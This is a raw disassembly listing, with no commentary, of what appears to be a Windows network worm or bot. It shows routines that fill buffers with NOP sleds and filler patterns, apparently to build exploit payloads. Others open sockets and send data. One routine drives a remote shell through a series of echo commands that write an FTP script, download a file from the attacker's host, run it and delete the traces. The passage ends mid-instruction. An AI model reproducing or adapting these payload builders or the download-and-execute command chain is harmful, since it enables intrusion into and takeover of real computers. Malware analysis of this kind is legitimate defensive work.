sub_4246D0+3Bj mov eax, [esp+10h+var_4] push esi push edi mov edi, ebx lea ecx, [eax+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov byte ptr [ebx], 3 mov ecx, [esp+18h+var_4] mov esi, [esp+18h+var_8] mov eax, ecx lea edi, [ebx+1] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, ebp call sub_4016C2 mov ecx, [esp+18h+var_4] mov [ebp+0], ebx inc ecx mov [ebp+4], ecx lea ecx, [esp+18h+var_8] call sub_4016C2 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 8 retn sub_4246D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4247B0 proc near ; CODE XREF: sub_4012C6j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] sub esp, 8 push esi mov esi, ecx mov ecx, [esp+0Ch+arg_0] push eax mov edx, [esi+4] mov eax, [esi] push ecx push edx push eax lea ecx, [esp+1Ch+var_8] call sub_4021F8 mov ecx, esi call sub_4016C2 mov ecx, [esp+0Ch+var_8] mov edx, [esp+0Ch+var_4] mov [esi], ecx mov [esi+4], edx mov al, 1 pop esi add esp, 8 retn 8 sub_4247B0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424800 proc near ; CODE XREF: sub_402054j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov edx, ecx push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push esi mov ecx, edx call sub_4012C6 pop edi pop esi retn 4 sub_424800 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424840 proc near ; CODE XREF: sub_401505j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push eax push edx call sub_4012C6 retn 8 sub_424840 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424870 proc near ; CODE XREF: sub_4017D5j var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push esi mov esi, ecx call sub_4010A0 test al, al jnz short loc_424884 pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_424884: ; CODE XREF: sub_424870+Dj mov eax, [esi+4] mov ecx, [esi] push eax push ecx push 1 push offset dword_445C04 lea ecx, [esp+1Ch+var_8] call sub_4021F8 mov ecx, esi call sub_4016C2 mov edx, [esp+0Ch+var_8] mov eax, [esp+0Ch+var_4] mov [esi], edx mov [esi+4], eax mov al, 1 pop esi add esp, 8 retn sub_424870 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4248E0 proc near ; CODE XREF: sub_401EC9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] push ecx mov ecx, esi call sub_401505 test al, al jnz short loc_4248FC pop esi retn 8 ; --------------------------------------------------------------------------- loc_4248FC: ; CODE XREF: sub_4248E0+16j mov ecx, esi call sub_4017D5 pop esi retn 8 sub_4248E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424920 proc near ; CODE XREF: sub_401BFEj var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_804 = dword ptr -804h var_800 = byte ptr -800h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 858h lea ecx, [esp+858h+var_818] push ebx push esi call sub_4012A8 mov esi, [esp+860h+arg_8] cmp esi, 408h jg loc_424CF5 mov ebx, [esp+860h+arg_10] lea eax, [ebx+8] cmp eax, 408h ja loc_424CF5 push edi lea ecx, [esp+864h+var_830] call sub_4012A8 lea ecx, [esp+864h+var_840] call sub_4012A8 lea ecx, [esp+864h+var_810] call sub_4012A8 lea ecx, [esp+864h+var_848] call sub_4012A8 lea ecx, [esp+864h+var_820] call sub_4012A8 lea ecx, [esp+864h+var_828] call sub_4012A8 lea ecx, [esp+864h+var_838] call sub_4012A8 push 4 push offset dword_4458A0 lea ecx, [esp+86Ch+var_830] call sub_4012C6 push 3 push offset dword_4458A8 lea ecx, [esp+86Ch+var_830] call sub_4012C6 lea ecx, [esp+864h+var_830] call sub_401B7C lea ecx, [esp+864h+var_830] call sub_4017D5 mov ecx, 200h mov eax, 42424242h lea edi, [esp+864h+var_800] push 8 rep stosd push offset aRbrbrbrb ; "BBBB" lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ecx, [esp+864h+arg_C] push ebx push ecx lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ebx, [esp+864h+var_83C] mov edx, 409h sub edx, ebx lea eax, [esp+864h+var_800] push edx push eax lea ecx, [esp+86Ch+var_840] call sub_4012C6 lea ecx, [esp+864h+var_840] call sub_401B7C push offset loc_445C28 lea ecx, [esp+868h+var_810] call sub_402054 lea ecx, [esp+864h+var_810] call sub_401B7C mov ecx, 200h mov eax, 44444444h lea edi, [esp+864h+var_800] push 410h rep stosd lea ecx, [esp+868h+var_800] push ecx lea ecx, [esp+86Ch+var_808] call sub_401843 lea ecx, [esp+864h+var_808] call sub_401B7C mov edx, [esp+864h+var_804] mov eax, [esp+864h+var_808] push edx push eax lea ecx, [esp+86Ch+var_810] call sub_401EC9 lea ecx, [esp+864h+var_808] call sub_4016C2 mov ecx, 200h mov eax, 43434343h lea edi, [esp+864h+var_800] push offset aCccc ; "CCCC" rep stosd lea ecx, [esp+868h+var_848] call sub_402054 push 4 push offset dword_4458AC lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov ecx, [esp+864h+arg_4] push esi push ecx lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov edx, 408h lea eax, [esp+864h+var_800] sub edx, esi lea ecx, [esp+864h+var_848] push edx push eax call sub_4012C6 lea ecx, [esp+864h+var_848] call sub_401B7C mov ecx, [esp+864h+var_844] mov edx, [esp+864h+var_848] push ecx push edx lea ecx, [esp+86Ch+var_820] call sub_401505 mov eax, [esp+864h+var_80C] mov ecx, [esp+864h+var_810] push eax push ecx lea ecx, [esp+86Ch+var_820] call sub_401505 lea ecx, [esp+864h+var_820] call sub_4017D5 lea ecx, [esp+864h+var_848] call sub_4016C2 lea ecx, [esp+864h+var_810] call sub_4016C2 mov edx, [esp+864h+var_83C] mov eax, [esp+864h+var_840] push edx push eax lea ecx, [esp+86Ch+var_828] call sub_401505 mov ecx, [esp+864h+var_82C] mov edx, [esp+864h+var_830] push ecx push edx lea ecx, [esp+86Ch+var_828] call sub_401505 mov eax, [esp+864h+var_81C] mov ecx, [esp+864h+var_820] push eax push ecx lea ecx, [esp+86Ch+var_828] call sub_401505 lea ecx, [esp+864h+var_828] call sub_4017D5 lea ecx, [esp+864h+var_840] call sub_4016C2 lea ecx, [esp+864h+var_830] call sub_4016C2 lea ecx, [esp+864h+var_820] call sub_4016C2 mov ecx, 200h mov eax, 41414141h lea edi, [esp+864h+var_800] lea edx, [esp+864h+var_800] rep stosd push 400h push edx lea ecx, [esp+86Ch+var_838] call sub_4012C6 lea ecx, [esp+864h+var_838] call sub_401B7C push 2 push offset dword_445C1C lea ecx, [esp+86Ch+var_838] call sub_4012C6 mov eax, [esp+864h+var_824] mov ecx, [esp+864h+var_828] push eax push ecx lea ecx, [esp+86Ch+var_838] call sub_401505 lea ecx, [esp+864h+var_838] call sub_4017D5 lea ecx, [esp+864h+var_828] call sub_4016C2 lea ecx, [esp+864h+var_850] call sub_4012A8 lea ecx, [esp+864h+var_858] call sub_4012A8 mov edx, [esp+864h+var_834] mov eax, [esp+864h+var_838] push edx push eax lea ecx, [esp+86Ch+var_850] call sub_401505 lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_838] call sub_4016C2 push offset dword_445C18 lea ecx, [esp+868h+var_858] call sub_402054 mov ecx, [esp+864h+var_84C] mov edx, [esp+864h+var_850] push ecx push edx lea ecx, [esp+86Ch+var_858] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016C2 push offset dword_444E60 lea ecx, [esp+868h+var_850] call sub_402054 mov eax, [esp+864h+var_854] mov ecx, [esp+864h+var_858] push eax push ecx lea ecx, [esp+86Ch+var_850] call sub_401505 lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_858] call sub_4016C2 push offset dword_445C0C lea ecx, [esp+868h+var_858] call sub_402054 mov edx, [esp+864h+var_84C] mov eax, [esp+864h+var_850] push edx push eax lea ecx, [esp+86Ch+var_858] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016C2 push offset dword_445C08 lea ecx, [esp+868h+var_818] call sub_402054 mov ecx, [esp+864h+var_854] mov edx, [esp+864h+var_858] push ecx push edx lea ecx, [esp+86Ch+var_818] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4016C2 mov eax, [esp+864h+arg_0] mov ecx, [esp+864h+var_818] mov edx, [esp+864h+var_814] pop edi mov [eax], ecx pop esi mov [eax+4], edx pop ebx add esp, 858h retn ; --------------------------------------------------------------------------- loc_424CF5: ; CODE XREF: sub_424920+1Ej ; sub_424920+33j mov eax, [esp+860h+arg_0] mov ecx, [esp+860h+var_818] mov edx, [esp+860h+var_814] pop esi mov [eax], ecx mov [eax+4], edx pop ebx add esp, 858h retn sub_424920 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E20 proc near ; CODE XREF: sub_401AC8j var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 210h push esi mov esi, [esp+214h+arg_0] lea eax, [esp+214h+var_210] lea ecx, [esp+214h+var_104] push eax push ecx lea edx, [esp+21Ch+var_208] push 0 lea eax, [esi+1] push edx push eax mov [esp+228h+var_204], esi mov [esp+228h+var_208], 1 mov [esp+228h+var_100], esi mov [esp+228h+var_104], 1 mov [esp+228h+var_210], 0Ah mov [esp+228h+var_20C], 0 call near ptr 71AB2DC0h nop cmp eax, 1 jz short loc_424E89 xor eax, eax pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424E89: ; CODE XREF: sub_424E20+5Dj lea ecx, [esp+214h+var_208] push ecx push esi call sub_438256 sub_424E20 endp ; --------------------------------------------------------------------------- test eax, eax jnz short loc_424EA0 pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424EA0: ; CODE XREF: ___:00424E96j mov edx, [esp+224h] mov eax, [esp+220h] mov ecx, [esp+21Ch] push edx push eax push ecx push esi nop call near ptr 71AB615Ah pop esi add esp, 210h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424F00 proc near ; CODE XREF: sub_4012F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, [esp+8+arg_8] push edi push esi call near ptr 71AB2BC0h nop mov edi, [esp+0Ch+arg_0] mov ebx, dword_511CA0 mov [esp+0Ch+arg_8], eax push 0 lea eax, [esp+10h+arg_8] push 4 push eax push edi call ebx ; send cmp eax, 4 jz short loc_424F33 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_424F33: ; CODE XREF: sub_424F00+2Bj mov ecx, [esp+0Ch+arg_4] push 0 push esi push ecx push edi call ebx ; send xor edx, edx cmp eax, esi setz dl pop edi pop esi mov al, dl pop ebx retn sub_424F00 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424F70 proc near ; CODE XREF: sub_4012F8j var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 104h push ebx push ebp mov ebp, [esp+10Ch+arg_8] push esi lea esi, [ebp+41h] push esi mov [esp+114h+var_104], esi nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424FA3 pop esi pop ebp xor al, al pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424FA3: ; CODE XREF: sub_424F70+25j mov ecx, esi push edi mov edx, ecx xor eax, eax mov edi, ebx mov esi, offset dword_44593C shr ecx, 2 rep stosd mov ecx, edx push 85h and ecx, 3 push offset dword_4458B4 rep stosb mov ecx, 0Bh mov edi, ebx rep movsd movsw movsb mov [ebx+2Fh], bp mov eax, dword_44596C mov [ebx+31h], eax mov ecx, dword_445970 mov esi, [esp+11Ch+arg_4] mov [ebx+35h], ecx mov ecx, ebp lea eax, [ebx+3Bh] mov edx, ecx mov edi, eax shr ecx, 2 mov [ebx+39h], bp add eax, ebp rep movsd mov ecx, edx and ecx, 3 rep movsb mov ecx, dword_510100 mov esi, [esp+11Ch+arg_0] mov [eax], ecx mov dx, word_510104 push esi mov [eax+4], dx call sub_4012F3 add esp, 0Ch test al, al pop edi jnz short loc_425048 push ebx nop call near ptr 77C2C21Bh add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_425048: ; CODE XREF: sub_424F70+C0j push 0 lea eax, [esp+114h+var_100] push 100h push eax push esi call sub_401AC8 mov ecx, [esp+120h+var_104] push ecx push ebx push esi call sub_4012F3 add esp, 1Ch test al, al jnz short loc_425083 push ebx nop call near ptr 77C2C21Bh add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_425083: ; CODE XREF: sub_424F70+FBj push 0 lea edx, [esp+114h+var_100] push 100h push edx push esi call sub_401AC8 push ebx call near ptr 77C2C21Bh nop add esp, 14h mov al, 1 pop esi pop ebp pop ebx add esp, 104h retn sub_424F70 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425100 proc near ; CODE XREF: sub_401820j var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = word ptr -418h var_416 = dword ptr -416h var_412 = dword ptr -412h var_40E = dword ptr -40Eh var_40A = word ptr -40Ah var_408 = dword ptr -408h var_400 = byte ptr -400h var_3FF = byte ptr -3FFh var_371 = byte ptr -371h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_9E = dword ptr 0A2h sub esp, 420h push ebp push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [esp+42Ch+var_3FF] rep stosd stosw stosb mov ecx, 23h mov esi, offset sub_445AE0 lea edi, [esp+42Ch+var_400] rep movsd movsw mov ecx, offset byte_449511 movsb call sub_4017EE push eax mov ecx, offset byte_449511 call sub_4017EE mov ecx, [esp+430h+arg_0] push eax mov eax, dword_44964F push eax push ecx call sub_401E10 add esp, 4 lea edx, [esp+438h+var_371] push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... push 400h push edx call near ptr 77C3FA76h nop add eax, 90h lea ecx, [esp+448h+var_408] push eax lea eax, [esp+44Ch+var_400] push eax push 164h push offset sub_445978 push ecx call sub_401BFE mov edx, [eax] xor edi, edi mov [esp+45Ch+var_420], edx add esp, 30h mov eax, [eax+4] cmp eax, edi mov [esp+42Ch+var_41C], eax jnz short loc_4251B2 xor eax, eax pop edi pop esi pop ebp add esp, 420h retn ; --------------------------------------------------------------------------- loc_4251B2: ; CODE XREF: sub_425100+A4j mov ebp, dword_511C38 mov [esp+42Ch+var_408], edi loc_4251BC: ; CODE XREF: sub_425100+161j test edi, edi jnz loc_425267 push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_42524A mov ecx, [esp+42Ch+arg_9E] xor eax, eax mov [esp+42Ch+var_416], eax push ecx mov [esp+430h+var_412], eax mov [esp+430h+var_418], 2 mov [esp+430h+var_40E], eax mov [esp+430h+var_40A], ax call ebp ; ntohs lea edx, [esp+42Ch+arg_4] mov word ptr [esp+42Ch+var_416], ax push edx call near ptr 71AB2BF4h nop mov [esp+42Ch+var_416+2], eax lea eax, [esp+42Ch+var_418] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz short loc_42523F mov ecx, [esp+42Ch+var_41C] mov edx, [esp+42Ch+var_420] push ecx push edx push esi call sub_4012F8 add esp, 0Ch and eax, 0FFh mov edi, eax loc_42523F: ; CODE XREF: sub_425100+123j push esi nop call near ptr 71AB9639h test edi, edi jnz short loc_425255 loc_42524A: ; CODE XREF: sub_425100+D5j push 3E8h nop call near ptr 2821DE2h loc_425255: ; CODE XREF: sub_425100+148j mov eax, [esp+42Ch+var_408] inc eax cmp eax, 2 mov [esp+42Ch+var_408], eax jl loc_4251BC loc_425267: ; CODE XREF: sub_425100+BEj lea ecx, [esp+42Ch+var_420] call sub_4016C2 test edi, edi jz short loc_425297 sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+4E8h+arg_0] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_425297: ; CODE XREF: sub_425100+172j pop edi pop esi mov eax, 1 pop ebp add esp, 420h retn sub_425100 endp ; --------------------------------------------------------------------------- aRrrrrrrrrr db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜι',1Bh,0 align 4 dd 90909000h, 2 dup(90909090h), 4 dup(0CCCCCCCCh), 0BB8068h dd 2EE06800h, 77E80000h, 83FFFDCEh, 8A308C4h, 0C3005101h dd 2 dup(90909090h), 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_425370 proc near ; CODE XREF: sub_4013D4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi push 0C8h call near ptr 2821DE2h nop mov edx, [esp+4+arg_4] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax repne scasb mov eax, [esp+4+arg_0] push 0 not ecx dec ecx push ecx push edx push eax call near ptr 71AB428Ah nop cmp eax, 0FFFFFFFFh pop edi setnz al retn sub_425370 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4253C0 proc near ; CODE XREF: sub_4013BBj var_434 = byte ptr -434h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_4253C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 428h xor eax, eax push ebx mov [esp+438h+var_41C], eax push esi mov [esp+43Ch+var_418], eax lea ecx, [esp+43Ch+arg_4] push edi mov [esp+440h+var_414], eax push ecx mov [esp+444h+var_410], eax mov word ptr [esp+444h+var_41C], 2 nop call near ptr 71AB2BF4h mov dx, word_510108 mov [esp+440h+var_418], eax push edx nop call near ptr 71AB2B66h push 0 push 1 push 2 mov word ptr [esp+44Ch+var_41C+2], ax call near ptr 71AB3B91h nop mov esi, eax or ebx, 0FFFFFFFFh cmp esi, ebx jz loc_4256BE lea eax, [esp+440h+var_41C] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, ebx jz loc_4256BE mov edi, dword_511CA4 push 0 lea ecx, [esp+444h+var_40C] push 400h push ecx push esi call edi ; recv lea ecx, [esp+440h+var_434] call sub_40142E mov edx, dword_44964F mov eax, [esp+440h+arg_0] push edx push eax mov [esp+448h+var_4], 0 call sub_401E10 add esp, 4 lea ecx, [esp+444h+var_434] push eax push offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n" push ecx call sub_40102D add esp, 10h lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEchoBinary_pif ; "echo binary>>.pif \r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE mov ecx, offset byte_449511 call sub_4017EE push eax lea ecx, [esp+444h+var_434] push offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n" push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoBye_pif ; "echo bye>>.pif \r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea ecx, [esp+440h+var_434] push offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n" push ecx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE mov ecx, offset byte_449511 call sub_4017EE push eax lea edx, [esp+444h+var_434] push offset aEchoSC_bat ; "echo %s >>c.bat\r\n" push edx call sub_40102D add esp, 0Ch lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEchoDel_pifC_b ; "echo del .pif >>c.bat\r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea ecx, [esp+440h+var_434] push offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n" push ecx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea eax, [esp+440h+var_434] push offset dword_4467A4 push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jnz short loc_4256C2 loc_4256AE: ; CODE XREF: sub_4253C0+F3j ; sub_4253C0+120j ... lea ecx, [esp+440h+var_434] mov [esp+440h+var_4], ebx call sub_401226 loc_4256BE: ; CODE XREF: sub_4253C0+6Fj ; sub_4253C0+85j xor al, al jmp short loc_4256EA ; --------------------------------------------------------------------------- loc_4256C2: ; CODE XREF: sub_4253C0+2ECj push 0 lea ecx, [esp+444h+var_40C] push 400h push ecx push esi call edi ; recv push esi nop call near ptr 71AB9639h lea ecx, [esp+440h+var_434] mov [esp+440h+var_4], ebx call sub_401226 mov al, 1 loc_4256EA: ; CODE XREF: sub_4253C0+300j mov ecx, [esp+440h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 434h retn sub_4253C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4257F0 proc near ; CODE XREF: sub_40180Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_28 = byte ptr 2Ch arg_2C = byte ptr 30h arg_2F = byte ptr 33h arg_59 = byte ptr 5Dh arg_5B = byte ptr 5Fh arg_5C = byte ptr 60h arg_90 = byte ptr 94h arg_A4 = byte ptr 0A8h arg_A5 = byte ptr 0A9h arg_F0 = byte ptr 0F4h arg_190 = byte ptr 194h arg_89C = dword ptr 8A0h arg_8AC = byte ptr 8B0h arg_8D4 = dword ptr 8D8h arg_8E4 = byte ptr 8E8h arg_C08 = dword ptr 0C0Ch arg_C0C = dword ptr 0C10h arg_C18 = byte ptr 0C1Ch arg_E30 = byte ptr 0E34h arg_E50 = byte ptr 0E54h arg_E70 = byte ptr 0E74h arg_E90 = byte ptr 0E94h arg_1480 = byte ptr 1484h arg_14E0 = byte ptr 14E4h arg_14FC = byte ptr 1500h arg_1CCC = byte ptr 1CD0h arg_2177 = byte ptr 217Bh arg_2464 = byte ptr 2468h arg_24C5 = byte ptr 24C9h arg_34F8 = byte ptr 34FCh arg_3FA0 = byte ptr 3FA4h arg_3FC0 = byte ptr 3FC4h arg_401C = byte ptr 4020h arg_401D = byte ptr 4021h arg_4020 = byte ptr 4024h arg_4030 = byte ptr 4034h arg_4AF4 = byte ptr 4AF8h arg_6098 = byte ptr 609Ch arg_60F8 = byte ptr 60FCh arg_6100 = byte ptr 6104h arg_8140 = byte ptr 8144h arg_81DC = byte ptr 81E0h arg_8234 = dword ptr 8238h arg_8290 = dword ptr 8294h arg_8294 = dword ptr 8298h mov eax, 81D8h call sub_437B30 mov eax, dword_446904 mov ecx, dword_446908 push ebx push ebp push esi lea edx, [esp+0Ch+arg_81DC] push edi mov [esp+10h], eax push edx lea eax, [esp+14h+arg_4] push offset dword_4468F8 push eax mov [esp+1Ch+arg_0], ecx nop call sub_5F76F7 add esp, 0Ch xor eax, eax lea ecx, [esp+10h+arg_A5] loc_425835: ; CODE XREF: sub_4257F0+56j mov dl, [esp+eax+10h+arg_4] inc eax mov [ecx-1], dl mov byte ptr [ecx], 0 add ecx, 2 cmp eax, 28h jl short loc_425835 mov ecx, 18h mov esi, offset dword_4461C8 lea edi, [esp+10h+arg_2C] xor eax, eax rep movsd lea edi, [esp+10h+arg_4] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea esi, [esp+10h+arg_A4] shl ecx, 1 mov eax, ecx lea edi, [esp+10h+arg_5C] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 mov edx, dword_44621F rep movsb lea edi, [esp+10h+arg_4] or ecx, 0FFFFFFFFh repne scasb not ecx mov eax, dword_446223 dec ecx lea edi, [esp+10h+arg_4] lea ecx, [esp+ecx*2+10h+arg_5B] mov [ecx], edx mov dl, byte_446227 mov [ecx+4], eax xor eax, eax mov [ecx+8], dl or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+10h+arg_4] mov ebx, ecx or ecx, 0FFFFFFFFh add bl, 1Ah shl bl, 1 repne scasb mov ax, word_510108 mov [esp+10h+arg_2F], bl not ecx dec ecx push eax shl cl, 1 add cl, 9 mov [esp+14h+arg_59], cl nop call near ptr 71AB2B66h mov edx, [esp+14h+arg_8294] xor eax, 9999h test edx, edx mov word_445EC8, ax jz loc_4259E3 mov ecx, 36Bh mov eax, 90909090h lea edi, [esp+14h+arg_F0] mov edx, dword_4465BC[edx*8] rep stosd mov edi, offset loc_445E18 or ecx, 0FFFFFFFFh xor eax, eax mov esi, offset loc_445E18 repne scasb not ecx dec ecx lea edi, [esp+14h+arg_8E4] mov eax, ecx mov [esp+14h+arg_8D4], edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, dword_4468F0 mov edi, offset loc_445E18 mov [esp+14h+arg_C08], ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov [esp+14h+arg_C0C], edx mov edx, ecx mov esi, offset loc_445E18 lea edi, [esp+14h+arg_C18] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+14h+arg_24C5] loc_42598F: ; CODE XREF: sub_4257F0+1B5j mov dl, [esp+eax+14h+arg_F0] inc eax mov [ecx-1], dl mov byte ptr [ecx], 0 add ecx, 2 cmp eax, 0DACh jl short loc_42598F mov ecx, 714h mov eax, 31313131h lea edi, [esp+14h+arg_60F8] mov [esp+14h+arg_401C], 0 rep stosd stosw mov ecx, 714h mov eax, 31313131h lea edi, [esp+14h+arg_4020] mov [esp+14h+arg_401D], 0 rep stosd stosw jmp short loc_425A52 ; --------------------------------------------------------------------------- loc_4259E3: ; CODE XREF: sub_4257F0+10Bj mov ecx, 1F4h mov eax, 90909090h lea edi, [esp+14h+arg_F0] mov esi, offset loc_445E18 rep 